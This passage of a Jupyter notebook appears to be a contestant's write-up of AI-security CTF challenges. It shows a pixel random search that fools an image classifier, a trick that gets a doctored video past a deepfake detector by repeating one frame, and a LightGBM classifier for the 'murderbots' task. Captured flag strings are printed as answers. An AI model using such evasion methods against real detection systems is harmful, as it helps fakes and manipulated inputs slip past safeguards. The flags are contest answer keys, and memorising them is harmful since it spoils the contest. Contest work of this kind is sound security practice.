  idx = preds.argmax().item()\n    expected = ((25.5-X_comp)).flatten()\n    actual_square = get_cropped(X, idx)\n    actual = actual_square.flatten().astype(int)\n    if debug:\n        print({\"idx\":idx})\n        plt.imshow(actual_square)\n        plt.show()\n    sse = ((actual-(expected*10).astype(int))**2).sum()\n    redness = (actual_square[:,:,0][actual_square[:,:,0]>230]**2).sum()+1\n    if idx==8:\n        return (1+preds.max().item())*sse*redness\n    return sse*redness\n\ndef get_submittable(x):\n    return \",\".join([str(int(n)) for n in x])\n\ncfn = lambda x: [f\"background-color: RGB({x.R},{x.G},{x.B})\"] * 3\ndef show_colors(ans):\n    ans = [int(x) for x in ans.split(\",\")]\n    squares = pd.DataFrame(np.array(ans[:27]).reshape([9,3]), columns=[\"R\",\"G\",\"B\"]).T.style.apply(cfn, axis=0)\n    circles = pd.DataFrame(np.array(ans[27:]).reshape([9,3]), columns=[\"R\",\"G\",\"B\"]).T.style.apply(cfn, axis=0)\n    display(squares)\n    display(circles)","metadata":{"execution":{"iopub.status.busy":"2022-09-15T14:48:44.013505Z","iopub.execute_input":"2022-09-15T14:48:44.013923Z","iopub.status.idle":"2022-09-15T14:48:44.035117Z","shell.execute_reply.started":"2022-09-15T14:48:44.013889Z","shell.execute_reply":"2022-09-15T14:48:44.033895Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# creating an image\nX_small = np.random.normal(100,30,size=(5**2*3)).reshape((5,5,3))","metadata":{"execution":{"iopub.status.busy":"2022-09-15T14:53:25.801655Z","iopub.execute_input":"2022-09-15T14:53:25.802061Z","iopub.status.idle":"2022-09-15T14:53:25.808210Z","shell.execute_reply.started":"2022-09-15T14:53:25.802028Z","shell.execute_reply":"2022-09-15T14:53:25.806674Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"\nminscore = 1000\nminx = False\nminx = X_small.copy()\nminscore = score(minx.flatten()) / 1e7\nprint(\"START: \", score(minx.flatten()) / 1e7)","metadata":{"execution":{"iopub.status.busy":"2022-09-15T14:53:27.425176Z","iopub.execute_input":"2022-09-15T14:53:27.425949Z","iopub.status.idle":"2022-09-15T14:53:27.654785Z","shell.execute_reply.started":"2022-09-15T14:53:27.425911Z","shell.execute_reply":"2022-09-15T14:53:27.653545Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"minx[4,3,0] = 228\nminx[4,3,1] = 134\nminx[4,3,2] = 119\n\nminx[4,1,0] = 228\nminx[4,1,1] = 134\nminx[4,1,2] = 119\n\nminx[3,1,0] = 228\nminx[3,1,1] = 134\nminx[3,1,2] = 119\n\nminx[3,3,0] = 228\nminx[3,3,1] = 134\nminx[3,3,2] = 119\n\nminx[3,2,0] = 214\nminx[3,2,1] = 174\nminx[3,2,2] = 109\n\nfor xi in range(1,4):\n    for yi in range(1,4):\n        if xi == 2 and yi == 2:\n            continue\n        minx[xi,yi,0] = 228\n        minx[xi,yi,1] = 134\n        minx[xi,yi,2] = 119\n        minx[2,2,0] = 188\n        minx[2,2,1] = 220\n        minx[2,2,2] = 120\n\nminx[4,3,0] = 228\nminx[4,3,1] = 134\nminx[4,3,2] = 119\n\nfor xi in range(5):\n    for yi in range(5):\n        if minx[xi,yi,0] > 227:\n            print(xi,yi)\n            minx[xi,yi,0] = 227\n\nminx[4,1,0] = 10\nminx[4,3,0] = 10\n","metadata":{"execution":{"iopub.status.busy":"2022-09-15T14:54:34.766016Z","iopub.execute_input":"2022-09-15T14:54:34.767070Z","iopub.status.idle":"2022-09-15T14:54:34.782534Z","shell.execute_reply.started":"2022-09-15T14:54:34.766975Z","shell.execute_reply":"2022-09-15T14:54:34.780965Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"x = (minx.flatten()).astype(int)\nmodel.eval();\nX = make_X(x)\n\npreds = model(pt_ft(i2t(X.T[None])))\nidx = preds.argmax().item()\n\nexpected = ((25.5-(np.divide(X_comp,0b1010)))).flatten()\n#     print(\"X SHAPE\", X.shape)\nactual_square = get_cropped(X, 4)","metadata":{"execution":{"iopub.status.busy":"2022-09-15T14:54:35.620123Z","iopub.execute_input":"2022-09-15T14:54:35.620682Z","iopub.status.idle":"2022-09-15T14:54:35.784436Z","shell.execute_reply.started":"2022-09-15T14:54:35.620635Z","shell.execute_reply":"2022-09-15T14:54:35.783553Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"### This is the center square (idx 4) that I'm trying to get to\n\nplt.imshow(actual_square)","metadata":{"execution":{"iopub.status.busy":"2022-09-15T14:54:35.986578Z","iopub.execute_input":"2022-09-15T14:54:35.987665Z","iopub.status.idle":"2022-09-15T14:54:36.172869Z","shell.execute_reply.started":"2022-09-15T14:54:35.987619Z","shell.execute_reply":"2022-09-15T14:54:36.171622Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"actual = actual_square.flatten().astype(int)\nsse = ((actual-(expected*10).astype(int))**2).sum()\nredness = (actual_square[:,:,0][actual_square[:,:,0]>230]**2).sum()+1\nprint(\"SEE \", sse)\nprint(\"REDNESS \", redness)\nsse*redness / 1e7","metadata":{"execution":{"iopub.status.busy":"2022-09-15T14:54:37.698613Z","iopub.execute_input":"2022-09-15T14:54:37.699037Z","iopub.status.idle":"2022-09-15T14:54:37.711399Z","shell.execute_reply.started":"2022-09-15T14:54:37.699001Z","shell.execute_reply":"2022-09-15T14:54:37.710109Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"x = (minx.flatten()).astype(int)\nmodel.eval();\nX = make_X(x)\npreds = model(pt_ft(i2t(X.T[None])))\n\nsaveminx = minx.copy()\nbaseminx = minx.copy()\nmaxpreds4 = preds[0][4].item()","metadata":{"execution":{"iopub.status.busy":"2022-09-15T14:54:39.091043Z","iopub.execute_input":"2022-09-15T14:54:39.091430Z","iopub.status.idle":"2022-09-15T14:54:39.193779Z","shell.execute_reply.started":"2022-09-15T14:54:39.091398Z","shell.execute_reply":"2022-09-15T14:54:39.192727Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"import random\n\npoints = [[0,0],[0,1],[0,2],[0,3],[0,4],\\\n         [1,0],[2,0],[3,0],[4,0],\\\n          [4,1],[4,2],[4,3],[4,4],\\\n          [4,3],[4,2],[4,1]\n         ]\nfor ii in range(10000):\n    \n    xi, yi = points[int(random.random() * len(points))]\n    \n#     for xi in range(5):\n#         if xi >= 1 and xi <= 3:\n#             continue\n#         for yi in range(5):\n#             if yi >= 1 and yi <= 3:\n#                 continue\n\n    minx[xi, yi, 0] = random.random() * 255\n    minx[xi, yi, 1] = random.random() * 255\n    minx[xi, yi, 2] = random.random() * 255\n\n    x = (minx.flatten()).astype(int)\n    model.eval();\n    X = make_X(x)\n    preds = model(pt_ft(i2t(X.T[None])))\n\n    idx = preds.argmax().item()\n    if idx == 4:\n        print(\"ALL DONE!!\")\n        break\n    if preds[0][4].item() > maxpreds4:\n        maxpreds4 = preds[0][4].item()\n        print(maxpreds4)\n        baseminx = minx.copy()\n    else:\n        minx = baseminx.copy()\nprint(\"DONE\")","metadata":{"execution":{"iopub.status.busy":"2022-09-15T14:54:42.754308Z","iopub.execute_input":"2022-09-15T14:54:42.754724Z","iopub.status.idle":"2022-09-15T14:54:57.775695Z","shell.execute_reply.started":"2022-09-15T14:54:42.754690Z","shell.execute_reply":"2022-09-15T14:54:57.774453Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\ntry:\n    r = requests.post(\"https://crop1.fly.dev/score\", data=json.dumps({\"data\": get_submittable(minx.flatten())}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-15T14:54:59.030879Z","iopub.execute_input":"2022-09-15T14:54:59.031262Z","iopub.status.idle":"2022-09-15T14:55:03.138405Z","shell.execute_reply.started":"2022-09-15T14:54:59.031231Z","shell.execute_reply":"2022-09-15T14:55:03.136931Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"crop1\", \"9E2QWGUZ{RGXT7On}PDQ2VCLM7nEAMTJ2HT0ARXePQ9LJROX3g6KWIB5MB7NKEKBUPKHDIhPP2D3UN3YJODN6r4aQ7LV6TWW4FQ731U1VT2FF5Kag0S43S1GW2QUHBVU\")","metadata":{"execution":{"iopub.status.busy":"2022-09-15T14:55:10.199172Z","iopub.execute_input":"2022-09-15T14:55:10.199589Z","iopub.status.idle":"2022-09-15T14:55:10.212028Z","shell.execute_reply.started":"2022-09-15T14:55:10.199556Z","shell.execute_reply":"2022-09-15T14:55:10.210722Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Crop2 (id: crop2) -- 800 Points","metadata":{}},{"cell_type":"markdown","source":"😐","metadata":{}},{"cell_type":"markdown","source":"# DeepFake (id: deepfake) -- 800 Points\n\n### Scenario\nYour very famous boss was caught saying some disparing things about dogs. Naturally, the dog lobby is not happy. To make matters worse, they paid someone to make a deepfake that was caught by a SuperSecretDeepFakeDefenseSystem.  \n\n### Objective\nFix the `sample.mp4` to bypass the SuperSecretDeepFakeDefenseSystem and get your boss out of the media.\n","metadata":{}},{"cell_type":"markdown","source":"# My Solution\n\nLike several people, I found this one accidentally easy. One of the first things I tried was to just replace every frame in the video with a single frame (the one that seemed the most \"normal\") - and that worked!\n\nI think in the future there will be some more checks on the videos, to avoid this type of solution :)\n\n","metadata":{}},{"cell_type":"code","source":"with open(\"../input/defconfiles/sf.mp4\", \"rb\") as f:\n    data = f.read()\nb64_data = base64.urlsafe_b64encode(data).decode()\nin_data = json.dumps({\"input\": b64_data})\nr = requests.post(\"https://deepfake.fly.dev/score\", data=in_data)\nprint(r.text)","metadata":{"execution":{"iopub.status.busy":"2022-09-15T14:58:29.212165Z","iopub.execute_input":"2022-09-15T14:58:29.212605Z","iopub.status.idle":"2022-09-15T14:58:32.256669Z","shell.execute_reply.started":"2022-09-15T14:58:29.212567Z","shell.execute_reply":"2022-09-15T14:58:32.255674Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"deepfake\", \"M2GRGCZ3KKLF1OAJGCCF3W28W761BYMKSAUUZB7JF4D3JQYH6RV9TE9OEKAZNBHHZUB3TN0XP0ECR}NOKTLOHPODIRRSJIM0AUWGNNELGE6YN3DBFP{CMBQ7Q71VL3RY\")","metadata":{"execution":{"iopub.status.busy":"2022-09-15T14:58:37.207721Z","iopub.execute_input":"2022-09-15T14:58:37.208147Z","iopub.status.idle":"2022-09-15T14:58:37.219235Z","shell.execute_reply.started":"2022-09-15T14:58:37.208112Z","shell.execute_reply":"2022-09-15T14:58:37.217948Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Don't free the murderbots (id: murderbots) -- 300 Points\n\n### Scenario\n\nSomeone has put you in a very large facility with a very large number of cells. All these cells open from the outside. You are on the inside. This state of affairs is arguably suboptimal.\n\nGood news: You've gained access to the control panel for the cells on the other side of your hallway. At least some of them have other fleshy meatbags like yourself that might be willing to help you in your escape, or at least serve as distractions.  You can't open your own cell, but you can open theirs.\n\nBad news:  You can't see inside the cells.  Any cells that don't have squishy lumps of talking protein have murderbots. Murderbots that enter fits of insane violent rage when provoked (provocations include: seeing the murderbot, being seen by the murderbot, thinking too hard about not being seen by a murderbot, producing heat in excess of ambient room temperature, or consuming more oxygen than the facility average for inanimate objects).\n\nMore good news: You *can* see the occupants of some cells on a few other hallways, and you can see environmental information for all of the cells everywhere.\n\nMore bad news: If you open the wrong cell doors you and all of the other lumps of inexplicably thinking meat are *definitely* going to get murderbotted. Hard. All over the walls and doors and ceiling and the floor. In an exciting number of very small pieces.\n\n\n### Objective\n\nUse the provided environmental information to decide which occupants of the corresponding cells to release.  The flag will be a string of 1 and 0 values, where a '1' means 'open this door' and a 0 means 'please do not release the murderbot'.  If, for instance, there were 20 cells and you wanted to releast the first three, the sixth, and seventh cell, your flag would look like this: `11100110000000000000`\n\nRelease at least 10 humans and exactly 0 murderbots to collect the flag.  You do *not* have to release all the humans: 10 is sufficient.\n\nThe file `murderbots/train_data.json` has environmental information for cells not on your floor and `murderbots/train_labels.json` contains the information about their occupants -- `1` is a disgusting primate, `0` is a pure and perfect killing machine of chrome and steel.  The file `murderbots/test_data.json` has the environmental information about cells on your block.","metadata":{}},{"cell_type":"markdown","source":"# My Solution\n\nThis one seemed like a fairly typical ML problem, so I use a quick lightgbm model to get the 10 most likely humans, and it basically worked the first time!","metadata":{}},{"cell_type":"code","source":"f = open(f'{dir_name}/murderbots/test_data.json'); test_data = json.load(f); f.close()\nf = open(f'{dir_name}/murderbots/train_data.json'); train_data = json.load(f); f.close()\nf = open(f'{dir_name}/murderbots/train_labels.json'); train_labels = json.load(f); f.close()\nimport lightgbm as lgb","metadata":{"execution":{"iopub.status.busy":"2022-09-15T15:00:17.881529Z","iopub.execute_input":"2022-09-15T15:00:17.881962Z","iopub.status.idle":"2022-09-15T15:00:19.586324Z","shell.execute_reply.started":"2022-09-15T15:00:17.881925Z","shell.execute_reply":"2022-09-15T15:00:19.585017Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"train_data.keys()\nx = []\nfor i in range(len(train_data['temperature'])):\n    row = [train_data['temperature'][str(i)], train_data['movement_events'][str(i)], train_data['water_usage'][str(i)], train_data['power_usage'][str(i)]]\n    x.append(row)\n    ","metadata":{"execution":{"iopub.status.busy":"2022-09-15T15:00:22.603547Z","iopub.execute_input":"2022-09-15T15:00:22.604058Z","iopub.status.idle":"2022-09-15T15:00:22.611891Z","shell.execute_reply.started":"2022-09-15T15:00:22.604010Z","shell.execute_reply":"2022-09-15T15:00:22.610663Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"testx = []\nfor i in range(len(test_data['temperature'])):\n    row = [test_data['temperature'][str(i)], test_data['movement_events'][str(i)], test_data['water_usage'][str(i)], test_data['power_usage'][str(i)]]\n    testx.append(row)\n    ","metadata":{"execution":{"iopub.status.busy":"2022-09-15T15:00:28.279136Z","iopub.execute_input":"2022-09-15T15:00:28.279659Z","iopub.status.idle":"2022-09-15T15:00:28.287453Z","shell.execute_reply.started":"2022-09-15T15:00:28.279614Z","shell.execute_reply":"2022-09-15T15:00:28.286231Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"y = []\nfor i in range(len(train_labels['contains_human'])):\n    y.append(train_labels['contains_human'][str(i)])","metadata":{"execution":{"iopub.status.busy":"2022-09-15T15:00:34.689154Z","iopub.execute_input":"2022-09-15T15:00:34.689713Z","iopub.status.idle":"2022-09-15T15:00:34.696415Z","shell.execute_reply.started":"2022-09-15T15:00:34.689665Z","shell.execute_reply":"2022-09-15T15:00:34.695542Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"lgbdata = lgb.Dataset(np.array(x), label=np.array(y))","metadata":{"execution":{"iopub.status.busy":"2022-09-15T15:00:39.899160Z","iopub.execute_input":"2022-09-15T15:00:39.899585Z","iopub.status.idle":"2022-09-15T15:00:39.905217Z","shell.execute_reply.started":"2022-09-15T15:00:39.899550Z","shell.execute_reply":"2022-09-15T15:00:39.903947Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"param = {'num_leaves': 10, 'objective': 'binary'}\nparam['metric'] = 'auc'","metadata":{"execution":{"iopub.status.busy":"2022-09-15T15:00:45.946208Z","iopub.execute_input":"2022-09-15T15:00:45.946649Z","iopub.status.idle":"2022-09-15T15:00:45.952128Z","shell.execute_reply.started":"2022-09-15T15:00:45.946611Z","shell.execute_reply":"2022-09-15T15:00:45.951162Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"num_round = 5\nbst = lgb.train(param, lgbdata, num_round)","metadata":{"execution":{"iopub.status.busy":"2022-09-15T15:00:50.640871Z","iopub.execute_input":"2022-09-15T15:00:50.641281Z","iopub.status.idle":"2022-09-15T15:00:50.690009Z","shell.execute_reply.started":"2022-09-15T15:00:50.641249Z","shell.execute_reply":"2022-09-15T15:00:50.688981Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"for vi, v in enumerate(bst.predict(testx).tolist()):\n    if v > 0.68:\n        print(vi, v)\n#     print(v)\n","metadata":{"execution":{"iopub.status.busy":"2022-09-15T15:01:00.447936Z","iopub.execute_input":"2022-09-15T15:01:00.448819Z","iopub.status.idle":"2022-09-15T15:01:00.457537Z","shell.execute_reply.started":"2022-09-15T15:01:00.448773Z","shell.execute_reply":"2022-09-15T15:01:00.456325Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"### extract the top 10:\n\np = [4, 10, 13, 16, 19, 22, 30, 34, 36, 38, 40, 46, 47]\ns = \"\"\nfor i in range(50):\n    if i in p:\n        s = s + \"1\"\n    else:\n        s = s + \"0\"\ns","metadata":{"execution":{"iopub.status.busy":"2022-09-15T15:01:15.854729Z","iopub.execute_input":"2022-09-15T15:01:15.855149Z","iopub.status.idle":"2022-09-15T15:01:15.864528Z","shell.execute_reply.started":"2022-09-15T15:01:15.855105Z","shell.execute_reply":"2022-09-15T15:01:15.863093Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\nf = s\ntry:\n    r = requests.post(\"http://murderbot.fly.dev:5000/score\", json=json.dumps({\"submission\": f, 'challenge_id':'murderbots'}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")\n","metadata":{"execution":{"iopub.status.busy":"2022-09-15T15:01:28.972253Z","iopub.execute_input":"2022-09-15T15:01:28.972655Z","iopub.status.idle":"2022-09-15T15:01:29.124264Z","shell.execute_reply.started":"2022-09-15T15:01:28.972622Z","shell.execute_reply":"2022-09-15T15:01:29.122892Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"murderbots\", \"9SY7Gb2AC0W5}QBEOJDeJo4Y5tTG45aYuLKDOtB5rILCN{8AIBT9NAT7sM91UNT3DLJVU6Hdt0E9OCAKoXOJIUBd76MWIMeG423VNUXOD2XO3ZEFQHN4YAWDN3VCCMKD\")","metadata":{"execution":{"iopub.status.busy":"2022-09-15T15:01:35.195438Z","iopub.execute_input":"2022-09-15T15:01:35.195839Z","iopub.status.idle":"2022-09-15T15:01:35.206855Z","shell.execute_reply.started":"2022-09-15T15:01:35.195805Z","shell.execute_reply":"2022-09-15T15:01:35.205737Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"","metadata":{},"execution_count":null,"outputs":[]}]}